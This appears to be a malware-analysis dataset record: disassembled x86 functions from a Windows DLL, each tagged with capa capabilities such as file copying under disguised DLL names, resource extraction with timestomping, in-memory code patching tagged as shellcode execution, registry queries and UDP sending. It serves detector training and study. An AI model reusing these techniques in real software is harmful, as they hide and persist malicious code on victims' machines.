joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000892c
Capabilities:
Get file size
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push 3
push 0xc0000000
mov dword [ebp - 4], 1
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 0x14], esi
jne 0x1000896b
mov dword [ebp - 4], ebx
jmp 0x10008b09
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
jne 0x10008980
mov dword [ebp - 4], ebx
jmp 0x10008b00
push ebx
push ebx
push ebx
push 4
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, ebx
mov dword [ebp - 0x18], eax
jne 0x1000899c
mov dword [ebp - 4], ebx
jmp 0x10008af9
push edi
push ebx
push ebx
push ebx
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
cmp ecx, ebx
mov dword [ebp - 8], ecx
jne 0x100089bd
mov dword [ebp - 4], ebx
jmp 0x10008ae5
cmp word [ecx], 0x5a4d
jne 0x100089b5
mov edx, dword [ecx + 0x3c]
cmp dword [edx + ecx], 0x4550
lea edi, [edx + ecx]
jne 0x100089b5
mov si, word [edi + 0x14]
cmp si, bx
je 0x100089b5
movzx eax, word [edi + 6]
lea eax, [eax + eax*4]
shl eax, 3
push eax
movzx eax, si
add eax, edx
lea eax, [eax + ecx + 0x18]
push eax
lea eax, [ebp - 0x298]
push eax
call fcn.100176d0
mov esi, dword [edi + 0xd0]
add esp, 0xc
add esi, dword [ebp - 8]
je 0x10008a56
mov ax, word [esi + 4]
mov dword [ebp + 8], esi
cmp ax, bx
je 0x10008a56
movzx ebx, ax
add ebx, dword [ebp + 8]
je 0x10008a54
push dword [ebp + 0xc]
push ebx
call fcn.1001cf30
pop ecx
test eax, eax
pop ecx
jne 0x10008a43
push dword [ebp + 0xc]
call fcn.100171d0
push eax
push dword [ebp + 0x10]
push ebx
call fcn.100176d0
add esp, 0x10
movzx eax, word [esi + 6]
lea esi, [esi + eax*8 + 8]
mov ax, word [esi + 4]
test ax, ax
jne 0x10008a17
xor ebx, ebx
mov eax, dword [edi + 0x80]
lea ecx, [ebp - 0x298]
push ecx
push edi
push eax
push dword [ebp - 8]
call fcn.100088d9
add esp, 0x10
cmp eax, ebx
je 0x10008ae2
cmp dword [eax], ebx
mov dword [ebp + 8], ebx
je 0x10008a87
mov ecx, eax
inc dword [ebp + 8]
add ecx, 0x14
cmp dword [ecx], ebx
jne 0x10008a7d
cmp dword [ebp + 8], ebx
mov dword [ebp - 0xc], ebx
jbe 0x10008ae2
lea esi, [eax + 0xc]
lea eax, [ebp - 0x298]
push eax
push edi
push dword [esi]
push dword [ebp - 8]
call fcn.100088d9
add esp, 0x10
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x10008ae2
push dword [ebp + 0xc]
push eax
call fcn.1001cf30
pop ecx
test eax, eax
pop ecx
jne 0x10008ad4
push dword [ebp + 0xc]
call fcn.100171d0
push eax
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call fcn.100176d0
add esp, 0x10
add esi, 0x14
inc dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 8]
jb 0x10008a92
mov ecx, dword [ebp - 8]
cmp ecx, ebx
pop edi
je 0x10008af1
push ecx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [ebp - 0x18]
cmp eax, 0xffffffff
je 0x10008b00
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret
Function at 0x10008b10
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
cmp dword [ebp + 8], 0
je 0x10008b7b
and byte [ebp - 0x100], 0
push edi
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0xff]
rep stosd dword es:[edi], eax
cmp dword [ebp + 0xc], 0
stosw word es:[edi], ax
pop edi
je 0x10008b59
push dword [ebp + 0xc]
lea eax, [ebp - 0x100]
push dword [ebp + 8]
push str._s_s
push eax
call fcn.10017c10
add esp, 0x10
jmp 0x10008b6a
push dword [ebp + 8]
lea eax, [ebp - 0x100]
push eax
call fcn.10017b20
pop ecx
pop ecx
lea eax, [ebp - 0x100]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
leave
ret
xor eax, eax
leave
ret
Function at 0x10008b7f
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
cmp dword [ebp + 8], 0
je 0x10008d50
push ebx
and byte [ebp - 0x440], 0
push esi
push edi
push 0x3f
xor eax, eax
pop edx
lea edi, [ebp - 0x43f]
mov ecx, edx
and byte [ebp - 0x340], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x33f]
and byte [ebp - 0x240], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x23f]
and byte [ebp - 0x140], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x13f]
and byte [ebp - 0x40], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x3f]
rep stosd dword es:[edi], eax
and byte [ebp - 0x20], 0
push 7
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x1f]
mov esi, 0x100
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x440]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x340]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x340]
push str.temp
push eax
call fcn.10008b10
pop ecx
lea eax, [ebp - 0x40]
pop ecx
mov esi, str.908F9A919893CCCDD19B9393
push 0x1e
push eax
push esi
call fcn.100171d0
pop ecx
push eax
push esi
call fcn.1000b902
add esp, 0x10
lea eax, [ebp - 0x20]
mov esi, str.98938ACCCDD19B9393
push 0x1e
push eax
push esi
call fcn.100171d0
pop ecx
push eax
push esi
call fcn.1000b902
lea eax, [ebp - 0x40]
mov edi, str._s_s
push eax
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x240]
push edi
push eax
call fcn.10017c10
lea eax, [ebp - 0x340]
push str.ZffTemp1.dll
push eax
mov ebx, str._sTemp_s
lea eax, [ebp - 0x140]
push ebx
push eax
call fcn.10017c10
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x30
lea eax, [ebp - 0x140]
push 0
push eax
lea eax, [ebp - 0x240]
push eax
call esi
lea eax, [ebp - 0x140]
push eax
push dword [ebp + 8]
call fcn.10017b20
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x240]
push edi
push eax
call fcn.10017c10
mov edi, str.gul32.dll
lea eax, [ebp - 0x340]
push edi
push eax
lea eax, [ebp - 0x140]
push ebx
push eax
call fcn.10017c10
add esp, 0x28
lea eax, [ebp - 0x140]
push 0
push eax
lea eax, [ebp - 0x240]
push eax
call esi
lea eax, [ebp - 0x20]
push edi
push eax
push dword [ebp + 8]
call fcn.1000892c
lea eax, [ebp - 0x40]
push str.ZffTemp1.dll
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.1000892c
add esp, 0x18
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
xor eax, eax
leave
ret
Function at 0x10008d54
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x10008e9a
push esi
push edi
push 0x3f
xor eax, eax
pop edx
lea edi, [ebp - 0x31f]
mov ecx, edx
mov byte [ebp - 0x320], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x21f]
mov byte [ebp - 0x220], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x41f]
mov byte [ebp - 0x420], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x11f]
mov byte [ebp - 0x120], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x1f]
mov byte [ebp - 0x20], bl
mov esi, 0x100
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x320]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x220]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x220]
push str.temp
push eax
call fcn.10008b10
mov esi, str.i81xgicd.dll
lea eax, [ebp - 0x320]
push esi
push eax
lea eax, [ebp - 0x420]
push str._s_s
push eax
call fcn.10017c10
lea eax, [ebp - 0x220]
push esi
push eax
lea eax, [ebp - 0x120]
push str._sTemp_s
push eax
call fcn.10017c10
add esp, 0x28
lea eax, [ebp - 0x120]
push ebx
push eax
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x120]
push eax
push dword [ebp + 8]
call fcn.10017b20
pop ecx
pop ecx
push 0x1e
lea eax, [ebp - 0x20]
mov esi, str.908F9A919893CCCDD19B9393
push eax
push esi
call fcn.100171d0
pop ecx
push eax
push esi
call fcn.1000b902
lea eax, [ebp - 0x20]
push str.ZffTemp1.dll
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.1000892c
add esp, 0x1c
push 1
pop eax
pop edi
pop esi
jmp 0x10008e9c
xor eax, eax
pop ebx
leave
ret

Function at 0x10008e9f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
xor eax, eax
cmp dword [ebp + 8], eax
je 0x10008ef5
cmp dword [ebp + 0xc], eax
je 0x10008ef5
push edi
push 0x3f
pop ecx
lea edi, [ebp - 0xff]
mov byte [ebp - 0x100], al
push 0xff
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push dword [ebp + 8]
lea eax, [ebp - 0x100]
push eax
push str._s_s
push dword [ebp + 0xc]
call fcn.10017c10
add esp, 0x10
pop edi
leave
ret
Function at 0x10008fab
Capabilities:
Copy file
Delete file
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push ebx
push esi
push edi
push 0x3f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x323]
mov byte [ebp - 0x324], bl
push 0x3f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x123]
mov byte [ebp - 0x124], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x223]
mov byte [ebp - 0x224], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x124]
push eax
call fcn.1000888c
pop ecx
lea eax, [ebp - 0x324]
push eax
push 0xff
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.ZffTemp1.dll
xor edi, edi
call esi
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x100090dd
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x23]
mov byte [ebp - 0x24], bl
push 0x1e
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x24]
mov edi, str.908F9A919893CCCDD19B9393
push eax
push edi
call fcn.100171d0
pop ecx
push eax
push edi
call fcn.1000b902
add esp, 0x10
lea eax, [ebp - 0x24]
push eax
call esi
test eax, eax
je 0x10009086
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call fcn.100075e8
pop ecx
xor eax, eax
jmp 0x10009145
lea eax, [ebp - 0x124]
push ebx
push eax
call fcn.10008b10
lea eax, [ebp - 0x124]
push str.zff32.dll
push eax
lea eax, [ebp - 0x224]
push str._s_s
push eax
call fcn.10017c10
add esp, 0x18
lea eax, [ebp - 0x224]
push ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push dword [ebp + 0x18]
lea eax, [ebp - 0x224]
push dword [ebp + 0x14]
push ebx
push ebx
push eax
call fcn.10008ef7
add esp, 0x14
mov edi, eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10008ef7
add esp, 0x14
cmp dword [ebp - 4], ebx
mov dword [ebp + 0x18], eax
jne 0x10009114
cmp edi, ebx
je 0x10009107
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x324]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
cmp dword [0x10035524], ebx
je 0x10009139
push str.gul32.dll
call esi
push ebx
push eax
call fcn.10007fbb
pop ecx
pop ecx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100098aa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
push str.InstallPath
push dword [ebp + 0xc]
call fcn.100181d0
pop ecx
test eax, eax
pop ecx
jne 0x10009934
and dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push 0x20019
push 0
push 0x10031524
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10009988
mov eax, 0x190
mov esi, 0x100357dc
push eax
push 0
push esi
mov dword [ebp + 0x18], 1
mov dword [ebp + 8], eax
call fcn.10017a10
add esp, 0xc
lea eax, [ebp + 8]
push eax
lea eax, [ebp + 0x18]
push esi
push eax
push 0
push str.EngineGLDriver
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10009929
push esi
call fcn.10016f99
pop ecx
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x10009988
push str.EngineGLDriver
push dword [ebp + 0xc]
call fcn.100181d0
pop ecx
test eax, eax
pop ecx
jne 0x1000996f
push 0x190
mov esi, 0x100357dc
push eax
push esi
call fcn.10017a10
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push esi
call fcn.100170d0
push esi
call fcn.10016f99
add esp, 0x1c
jmp 0x10009988
push str.EngineType
push dword [ebp + 0xc]
call fcn.100181d0
pop ecx
test eax, eax
pop ecx
jne 0x10009988
and dword [0x10035980], eax
push 1
pop eax
pop esi
pop ebp
ret
Function at 0x1000a641
Capabilities:
Delete file
Extract resource via kernel32 functions
Set file attributes
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
push 0x10031658
push 0x2757
push dword [0x100333c4]
xor esi, esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
cmp edi, esi
je 0x1000a67e
push edi
push dword [0x100333c4]
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, esi
mov dword [ebp - 0x14], eax
jne 0x1000a685
xor eax, eax
jmp 0x1000a76e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, esi
mov dword [ebp - 0xc], eax
je 0x1000a763
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
mov dword [ebp - 8], esi
push dword [0x100333c4]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0x80
push 2
push esi
push 3
push 0xc0000000
push dword [ebp + 8]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000a75f
push esi
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push esi
push eax
push ebx
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000a748
push 1
lea eax, [ebp - 0x10]
pop ebx
mov word [ebp - 0x24], 0x7d0
push eax
lea eax, [ebp - 0x24]
push eax
mov word [ebp - 0x22], 0xa
mov word [ebp - 0x20], si
mov word [ebp - 0x1e], bx
mov word [ebp - 0x1c], 0xa
mov word [ebp - 0x1a], 0x1e
mov word [ebp - 0x18], 3
mov word [ebp - 0x16], 0x19
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov dword [ebp - 4], ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], esi
je 0x1000a75f
push 2
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 1
pop esi
pop ebx
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x1000a772
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
and byte [ebp - 0x104], 0
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
mov esi, 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
lea eax, [ebp - 0x104]
mov esi, str.B89E929ACCCDD19B9393
push eax
push esi
call fcn.100171d0
pop ecx
push eax
push esi
call fcn.1000b902
push 0x1003165c
push edi
call fcn.10017b30
lea eax, [ebp - 0x104]
push eax
push edi
call fcn.10017b30
push edi
call fcn.1000a641
add esp, 0x24
pop edi
pop esi
leave
ret
Function at 0x1000ae2d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
cmp word [esi], 0x5a4d
jne 0x1000aeef
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x1000aeef
add eax, esi
cmp dword [eax], 0x4550
jne 0x1000aeef
mov ecx, dword [eax + 0x80]
test ecx, ecx
lea edi, [ecx + esi]
je 0x1000aeef
cmp dword [eax + 0x84], 0
je 0x1000aeef
mov eax, dword [edi + 0xc]
test eax, eax
je 0x1000aeef
cmp dword [edi + 0x10], 0
je 0x1000aeef
push dword [ebp + 0xc]
add eax, esi
push eax
call fcn.1001cf30
pop ecx
test eax, eax
pop ecx
jne 0x1000aedd
mov ebx, dword [edi]
mov eax, esi
add ebx, esi
add eax, dword [edi + 0x10]
mov dword [ebp + 8], eax
cmp dword [edi], 0
je 0x1000aea9
mov eax, dword [ebx]
jmp 0x1000aeab
mov eax, dword [eax]
test eax, eax
je 0x1000aedd
and dword [ebp - 4], 0
lea ecx, [eax + esi + 2]
and eax, 0x80000000
xor edx, edx
or eax, edx
jne 0x1000aed1
push dword [ebp + 0x10]
push ecx
call fcn.100181d0
pop ecx
test eax, eax
pop ecx
je 0x1000aee2
add ebx, 4
add dword [ebp + 8], 4
mov eax, dword [ebp + 8]
jmp 0x1000aea0
add edi, 0x14
jmp 0x1000ae76
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 8]
push 1
mov dword [eax], ecx
pop eax
jmp 0x1000aef1
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000bd35
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
mov dword [esp + 8], edi
je 0x1000bdfa
push ebx
push ebp
lea eax, [esp + 0xc]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push eax
push 0x40
push 0x20
pop ebp
mov ebx, 0x1000bc8c
push ebp
push ebx
call esi
push 0
push ebp
push 0x100369c0
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call edi
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x14]
push ebp
push ebx
call esi
lea eax, [esp + 0x10]
mov ebx, 0x1000bcb2
push eax
push 0x40
push ebp
push ebx
call esi
push 0
push ebp
push 0x100369e1
push ebx
push dword [esp + 0x24]
call edi
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x14]
push ebp
push ebx
call esi
lea eax, [esp + 0x10]
mov ebx, 0x1000bcd8
push eax
push 0x40
push ebp
push ebx
call esi
push 0
push ebp
push 0x10036a02
push ebx
push dword [esp + 0x24]
call edi
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x14]
push ebp
push ebx
call esi
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebp
pop ebx
pop edi
pop ecx
pop ecx
ret

Function at 0x1000c240
Capabilities:
Create udp socket
Initialize winsock library
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
and word [ebp - 0x194], 0
push edi
push 0x63
xor eax, eax
pop ecx
lea edi, [ebp - 0x192]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.WS2_32.dll_WSAStartup
test eax, eax
pop edi
je 0x1000c27e
push str.CreateSocket_:_cant_start_windows_socket_n
jmp 0x1000c2ca
push 0x11
push 2
push 2
call sub.WS2_32.dll_socket
cmp eax, 0xffffffff
mov dword [0x10031784], eax
jne 0x1000c29a
push str.CreateSocket_:_cannot_create_m_sock_n
jmp 0x1000c2ca
push eax
call fcn.10001a67
pop ecx
lea eax, [ebp - 4]
push eax
push 0x8004667e
push dword [0x10031784]
mov dword [ebp - 4], 1
call sub.WS2_32.dll_ioctlsocket
test eax, eax
je 0x1000c2d0
call fcn.1000c2d2
push str.CreateSocket_:_nonblocking_socket_failed_n
call fcn.1000bb27
pop ecx
leave
ret
Function at 0x1000c2e3
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
cmp dword [0x10031784], 0xffffffff
push edi
jne 0x1000c308
call fcn.1000c240
cmp dword [0x10031784], 0xffffffff
je 0x1000c3a5
xor eax, eax
lea edi, [ebp - 0xe]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ax, word [0x1003ec00]
mov word [ebp - 0x10], 2
push eax
call sub.WS2_32.dll_htons
mov word [ebp - 0xe], ax
mov eax, dword [0x1003ebfc]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push 0
push dword [ebp + 8]
call fcn.100171d0
pop ecx
push eax
push dword [ebp + 8]
push dword [0x10031784]
call sub.WS2_32.dll_sendto
test eax, eax
jge 0x1000c39c
and byte [ebp - 0xd8], 0
push 0x31
pop ecx
xor eax, eax
lea edi, [ebp - 0xd7]
push dword [0x1003ec00]
rep stosd dword es:[edi], eax
push dword [ebp - 0xc]
stosw word es:[edi], ax
stosb byte es:[edi], al
call sub.WS2_32.dll_inet_ntoa
push eax
lea eax, [ebp - 0xd8]
push str.SendHldsData_:_HFhl_CreateSocket_send_data_failed__ip___s__port___d_n
push eax
call fcn.10017c10
lea eax, [ebp - 0xd8]
push eax
call fcn.1000bb27
add esp, 0x14
jmp 0x1000c3a5
push dword [ebp + 8]
call fcn.1000bb27
pop ecx
pop edi
leave
ret
Function at 0x1000ce1b
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x10036c30], 0
je 0x1000ce34
mov eax, dword [0x10036c30]
jmp 0x1000cfd6
mov dword [0x10036c30], 0x10036c08
push 0x28
push 0
push 0x10036c08
call fcn.10017a10
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [0x10036c08], eax
push str.imagehlp.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x10036c0c], eax
cmp dword [0x10036c0c], 0
jne 0x1000ce7a
xor eax, eax
jmp 0x1000cfd6
push str.ImagehlpApiVersionEx
mov eax, dword [0x10036c0c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10036c10], eax
push str.SymInitialize
mov ecx, dword [0x10036c0c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10036c14], eax
push str.SymSetOptions
mov edx, dword [0x10036c0c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10036c18], eax
push str.SymGetOptions
mov eax, dword [0x10036c0c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10036c1c], eax
push str.SymLoadModule
mov ecx, dword [0x10036c0c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10036c20], eax
push str.SymGetModuleInfo
mov edx, dword [0x10036c0c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10036c24], eax
push str.SymGetSymFromName
mov eax, dword [0x10036c0c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10036c28], eax
push str.BindImage
mov ecx, dword [0x10036c0c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10036c2c], eax
push 8
push 0
lea edx, [ebp - 8]
push edx
call fcn.10017a10
add esp, 0xc
mov word [ebp - 8], 7
cmp dword [0x10036c10], 0
je 0x1000cf58
lea eax, [ebp - 8]
push eax
call dword [0x10036c10]
cmp dword [0x10036c10], 0
je 0x1000cf6f
mov ecx, dword [ebp - 8]
and ecx, 0xffff
cmp ecx, 7
jge 0x1000cf8a
mov edx, dword [0x10036c0c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x10036c0c], 0
xor eax, eax
jmp 0x1000cfd6
cmp dword [0x10036c14], 0
je 0x1000cfa3
push 0
push 0
mov eax, dword [0x10036c08]
push eax
call dword [0x10036c14]
cmp dword [0x10036c1c], 0
je 0x1000cfd1
cmp dword [0x10036c18], 0
je 0x1000cfd1
call dword [0x10036c1c]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
and ecx, 7
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [0x10036c18]
mov eax, dword [0x10036c30]
mov esp, ebp
pop ebp
ret